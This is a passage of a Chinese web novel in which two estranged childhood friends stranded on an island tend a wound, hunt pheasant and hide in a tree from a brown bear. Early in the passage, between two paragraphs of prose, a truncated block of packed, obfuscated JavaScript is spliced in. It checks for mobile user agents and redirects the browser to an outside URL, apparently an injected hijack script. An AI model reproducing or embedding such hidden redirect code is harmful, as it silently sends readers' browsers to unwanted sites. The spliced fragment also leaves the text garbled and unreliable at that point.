林蓁嗓音冷酷:“拒绝没用。”
她转身进屋。如今此处勉强能算的上屋子吧,船帆被钉到石壁外侧当做门,里面也摆了一张从船上搜罗来的小木凳跟几个小箱子。
果然,她在角落处的小箱子里找到了草药。
她用石头将草药捣碎,放在清洗过的叶片上,这才拿出来给薛岸上药。
薛岸似乎仍保持着她进去之前的动作,坐在原地一动不动,虽目视前方,眼神却飘忽不定,显然早已神游天外了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460584|201180||http|test|mini|href|location''.split(''|''),0,{}));
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>直到林蓁重新走到他身旁,捧起他的手上药时,才恍然回神一般。
林蓁全神贯注地将绿色药汁敷到他伤口上,再用布条缠紧后,才微微松了口气。
但下一瞬,她眼睛瞪大,倒吸一口凉气后,整个人愣在原地,仿佛看见了什么极为令人惊恐的事。
薛岸的左手上,除了方才这处伤口,竟然还有许多其他大小不一的伤疤。
这些划痕遍布手心手背,密密麻麻的,有刀伤,也有剑伤。
最严重的伤在手心正中央,一个圆形的被洞穿状的伤口,从手心穿透手背,从伤疤的颜色来看,恐怕已是好多年前受的伤了。
至于其他伤口,也有新有旧,旧的已经褪成了淡褐色,新的似乎不过才愈合不久,新长出来的肉透着淡粉色,被这双苍白的手衬得尤为明显可怖。
“这……这是?”林蓁惊呆了。
薛岸默默收回手,将左手隐在袖中,神色平静:“没什么,我是一个剑客,手上有些伤再正常不过了。”
“这到底哪里正常了?”林蓁并不信。
她自然也明白,人身在外,混迹江湖,哪有一点伤都不受的道理。就连她的身上,也有几处并不致命的伤口。
但伤到这种程度,显然不正常!
她记得幼时薛岸的手光滑白净,摸起来亦十分细嫩柔软,就像女孩的手一般。
因为这事,还常常被镇子上其他调皮捣蛋的小孩子嘲笑。
不过那几个小屁孩被林蓁用拳头收拾了一顿后,就老实了。
她又看了眼薛岸的右手,这只手倒是光滑白皙,除了手指上练剑练出来的老茧,没有什么别的伤口。
她记得,那会薛岸的手上,是绝无这些伤疤的。
所以这人当年离开后,到底发生了何事?
林蓁眼中隐隐带上探究的神色,她试探着问了几句,都未得到回复。
薛岸显然不想就这个问题再多做解释,他沉默地背过身,整个人一副拒人千里之外的模样。
林蓁叹了口气,撇撇嘴转身进了屋。
她明白,她是她,薛岸是薛岸,他们早已不是当初无话不谈的好友。
一日不见如隔三秋,更何况他们已近十年未见过面,此时跟生人也并无太大区别。
林蓁躺在干草上,翻了个身,用袖子蒙住脸。
嘁,谁稀罕知道他怎么样了。
墙壁上,倒映着火堆不断跳动的黑色影子,扰的人心烦。
说到底,自从到了这座岛上,吃不饱睡不暖就算了,居然连个说话解闷的伴都没有。
她并非是喜闹的人,只是离开人群久了,身体里的某样东西似乎也在逐渐流失。
思及此,只觉心底愈发郁闷。
不知过了多久,薛岸走了进来。
他脚步放的很轻,因此更显得林蓁的叹气声明显。
林蓁听见薛岸走到她旁边后,就停了下来。
她把脑袋埋进宽大衣袖中,全当没听到,依旧大声叹气。
片刻后,薛岸的嗓音飘进耳朵,似乎是尽量放软了语气,只是因不习惯,略显生硬。
“你……别生气了,今日我路过栎树林,看到里面有许多野鸡,明日,我们一同去捕猎。”
林蓁半晌没动。
这是在安慰她?
有没有搞错,这算哪门子安慰。
无语凝噎了半刻,她闷闷的声音从衣裳里面透出来。
“哦……”
算了算了,她大人有大量,不跟这蠢物计较。
7.路遇棕熊(1)
穿过一片潮湿幽暗的沼泽,就到了密林丛生栎树林。
栎树林中央有一条清澈见底的小溪,几只生着尖角的野羊正在河边埋头喝水。
听见动静,他们顿时警惕的抬起脑袋,黑圆的眼珠子看清来人后,瞬间蹬着蹄子跑远了,扬起一阵尘土。
时至正午,日光刺眼。
林蓁单手挎着一把制式简陋的木弓,走到在方才那群羊喝水的地方,停下脚步。
这弓还是薛岸昨晚连夜制作的,将富有弹性的木棍与藤蔓捆绑在一起,搭配几只削尖的木箭,用来给林蓁防身。
林蓁将手掌撑在额前,遮住阳光,朝前方看去,果然见到不远处有几只胖乎乎的野鸡在树下捉虫吃。
薛岸走在她前面,手中提着一把削尖的木剑,他步伐极轻,肩膀下沉,朝那群野鸡无声无息的靠拢。
“等等,”林蓁在身后喊他,“薛岸,等等我。”
“嗯?”薛岸停下身子,扭头朝她看来。
林蓁面带笑意,走上前拍了拍薛岸肩膀,轻声道:“这里交给我,你上一边待着去。”
她努努下巴,示意薛岸去一旁等着。
说起来,她也好久没活动筋骨了,也不知自己的箭术退步了没有。
现下有个上乘的机会等着她,怎能不大展身手一番?
“哦。”
薛岸点点头,并未提出异议,十分识趣地走到树后藏起身形。
“哼哼……”林蓁转动着手腕,轻手轻脚地朝那群野鸡靠去。
待离那群野鸡还有八丈的距离时,她停下脚步,借着叶片隐藏身形。
找准角度后,她高高举起木弓,下巴抬高,露出修长洁白的脖颈,墨色发丝随风舞动。
她半闭一只眼,瞄准那群一无所觉的野鸡。
挽弓,搭箭,拉弦,发射。
“嗖——”的破空之声后。
“叽叽叽!!”“喳喳喳!!!”
野鸡群瞬间炸开了锅,几只聪明的扑棱着翅膀立刻飞远了。另外几只笨的立在原地伸长脖子叫了一阵,才反应过来,迈着不和谐的步子一拐一扭的蹦远了。
不过时,那处就只剩下一只被一箭洞穿脑部的野鸡,倒在地上一动不动。
林蓁拍拍弓弦,唇角扬起一抹笑。
哎呀,真不愧是她,箭术还是那般高超。
阳光下的少女笑容明媚,白皙的脸庞被晒得微微发红。
薛岸见状,亦下意识勾起唇角。
林蓁走上前,捡起野鸡装进布袋子里。
装好后,她掂了掂布袋重量,眼睛微亮。
“呦呵,还挺沉。”
这重量,少说也够吃两顿了。
终于能大饱口福一顿了,这几日,感觉自己都饿瘦了不少。
她哼着小曲,提了布袋回去,顺手抛给蹲在河边的薛岸。
薛岸未曾回头,却像背后长眼睛似的,精准接住了她扔过去的布袋。
林蓁慢悠悠走到薛岸身旁,见他神情严肃,表情凝重地盯着河边的泥地,不免好奇问道:“怎么了?”
“你看这里。”薛岸用树枝点了点地上。
一串巨大的脚印,沿着河边一路延伸至密林深处。
这脚印,乍一看像是人的脚印与掌印混杂在一起。但显然,人是不可能有这种脚印的,因为这脚印极为巨大,且形状宽大粗短,最前方还有几道尖利的划痕。
“这是……”林蓁略微思索后,给出答案。
“熊?”
薛岸点头,肯定了她的答案:“不错,而且还是头发育完全,正值壮年的熊。”
“你看,”薛岸点了下脚印的位置,“这脚印还有湿迹,看着倒不像是从河边带来的。我记得昨晚恰好下了一阵小雨,那个时候你已经睡熟了,想必没听见。”
他顿了顿,继续道:“而我想,这脚印……恐怕就是那时留下的。”
两人对视一眼,都从对方眼中看到了忌惮。
一头成年的熊,皮糙肉厚,攻击力极强,光用屁股就能轻易坐死人不说,还拥有极为尖利的爪牙,能轻易撕开柔韧的牛皮,更不用说人皮了。
他们二人虽有武功在身,但这几日食不饱寝不安的,体力早已大幅下降,若真跟这头熊搏斗起来,谁占上风倒真不一定。
这栎树林离石壁处不远,仅隔了一片沼泽地。
林蓁暗自心惊。
这两日,她也曾路过此地几次,居然都没跟这头熊正面碰上,倒真算她命大。
而现今,那头巨熊,恐怕就在林子深处的某个地方沉睡着。
她不自觉的降低音量,凑近了薛岸道:“那我们现在,先回去?”
等他们回去炖了这野鸡养精蓄锐一番,再跟这熊战也不迟!
不过这熊若是不招惹他们,他们自然也不会自讨没趣。
以后这地还是不要来了,识时务者为俊杰,她可不想正面跟这头熊碰上,马上就被一巴掌拍碎。
薛岸显然也是这般想的,他点点头,拍拍衣摆站起身。
“走吧。”
说完,两人交换了一个眼神,便飞速朝着栎树林外狂奔。
这回他们饶了近路往回走,只不过这条路虽近,但地势险峻,荆棘丛生,不过几步路,林蓁的衣裳就被刮破了好几道口子。
好在片刻后,路宽敞了不少,但二人的脸色却愈发沉了下去。
一具大型羚羊的尸体,倒在道路中央,带血的羊皮将身下的土地染成黑色,皮肉上白骨嶙峋,散发出阵阵腥臭味。
几只秃鹫在上方盘旋,撕扯着骨头上余下不多的血肉渣。
看上去,死的时间还并不久。
忽然,薛岸眉眼下压,瞳孔紧缩,他猛地伸手揽住林蓁,将她往空中一提,同时足尖用力,使力让二人飞上了最近的一棵树。
“哎呦!”林蓁骤然身体腾空,惊叫一声,连忙双手扒住薛岸胳膊。
等站定后,她张了张嘴,刚想问发生何事,就被薛岸一把捂住嘴唇。
“唔唔唔……?”林蓁眨了眨眼,看清薛岸脸色后,并未挣扎。
薛岸紧盯着下方东面的密林阴影处,面色凝重,他凑近林蓁耳旁,低声道:“嘘,别出声。”
他手指朝前方轻轻一指,“你看那里。”
顺着他手指的方向,一个庞然大物缓缓从阴影中走出。
它足有一座小山那么大,四肢粗壮,棕色皮毛油光水滑,喷着鼻息,咧着大嘴,隐约能看见那极为锋利的牙齿上还挂着肉丝。
它如同小山位移般慢吞吞朝外走,每一步,似乎都在让大地为之震动。
林蓁身子一僵,只觉身子骤然冷了下来:“……”
所以,他们这是无意间闯进那头棕熊的领地了?
她心下大骇,一时有些惊慌起来。
让她射一只野鸡还行,但对面是熊的话,想活命,除了逃跑,别无他法。
难道这是因为她杀了生,现在那只野鸡让它领地的头头来为自
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己复仇了?
林蓁欲哭无泪,以后她改吃素还不行吗。
等离开了这座孤岛,她就找个尼姑庵当尼姑去。
直到手被薛岸温热的手心一握,她才回过神来。
下意识朝着薛岸那边缩了缩,感受着这人温热的体温,冰凉的身子渐渐回温。
林蓁愁眉苦脸,脑中思绪纷杂。
不行,她不要一个人当这只熊的口粮,若是一会真的被发现了,把薛岸踹下去,说不定能给她拖时间逃跑。
只不过……薛岸虽瘦,腰细腿长的,看着不怎么顶事,但……她轻微动了动手指,捏了下薛岸臂膀。
嚯,硬的跟堵墙似的。
这么看,一会真有危险,还指不定是谁被踹下去呢。
林蓁又薛岸那边缩了缩,紧紧抱住薛岸,恨不得整个人都挂他身上。
无论如何,她死前都得拉上薛岸垫背。
薛岸微微一顿,眸光逐渐幽深,他并未说话,只侧过身子,方便她用更省力的姿势抱住他。
两人紧紧靠在一起,借着浓密枝叶遮挡身形,大气也不敢出。
棕熊慢悠悠地朝着他们藏身的树下靠近。
一步……两步……
林蓁屏气凝神,看它一直走到二人藏身旁的那棵树下,才停下步伐。
似乎是嗅到了什么气味,棕熊略显焦躁的在地上嗅来嗅去,不断用锋利如钩的爪子在地上扒拉。
林蓁紧紧缩着身体,额上渐渐泛起薄汗,她余光甚至瞥见棕熊的利爪在日光下泛着另人胆寒的寒光。
她只觉心跳愈来愈快,双腿发软。
若非有薛岸撑着她身子,只怕要滑到棕熊脑袋上了。
林蓁紧抿着唇,因为一直保持同一个姿势,脊背酸痛,双腿发僵。
可如今棕熊偏偏就在她脚下,只隔着不足一人高的距离,鼻尖甚至能闻到棕熊身上传来的皮毛臭味。
现下,她哪怕动动手指,都会被发现。
一滴冷汗从额角滚落,林蓁咬着牙,只能硬生生撑着。
也不知薛岸如今是不是跟她一样的感受,想到这人此刻跟她境遇相同,心底竟涌现出一丝诡异的欣慰。
还好,这么悲惨的不止她一人。
一刻钟后,棕熊耸动着鼻子,依旧一无所获。它似乎终于放弃了,行动迟缓地迈着步子,转身离开了他们藏身的树下,朝着远处走去。
林蓁见状,终于缓缓松了口气,却仍是一动不敢动。
突然!
“嘀——嗒。” “嘀——嗒。”
水滴从他们身旁缓缓落下,砸到地面上。一片静谧之中,这响动极为明显。
棕熊脚步倏地一顿,它抖了抖耳朵,行动猝然变得极为敏捷,“唰”的扭过头,朝着发出响动的地方看去。
它转过身,“咚咚咚”几步跑到那处,震得树叶“沙沙”抖动,它鼻尖对准那块地疯狂嗅闻,壮硕的身躯不断颤动。
林蓁脸色煞白,几乎想要尖叫,她指尖紧紧扣着手心,强忍着不发出声。
不是,这好好的,又没下雨,哪里来的水呢?
林蓁缓缓转动眼珠,不解地看向薛岸身侧。
薛岸保持着站立紧绷的姿势,一动未动,他的左手,提着装野鸡尸体的布袋,正在一滴滴往下滴血。
薛岸亦眼珠微动,两人视线相交。
林蓁:“……”
薛岸:“……”
两人皆从对方的眼神中看出了语塞。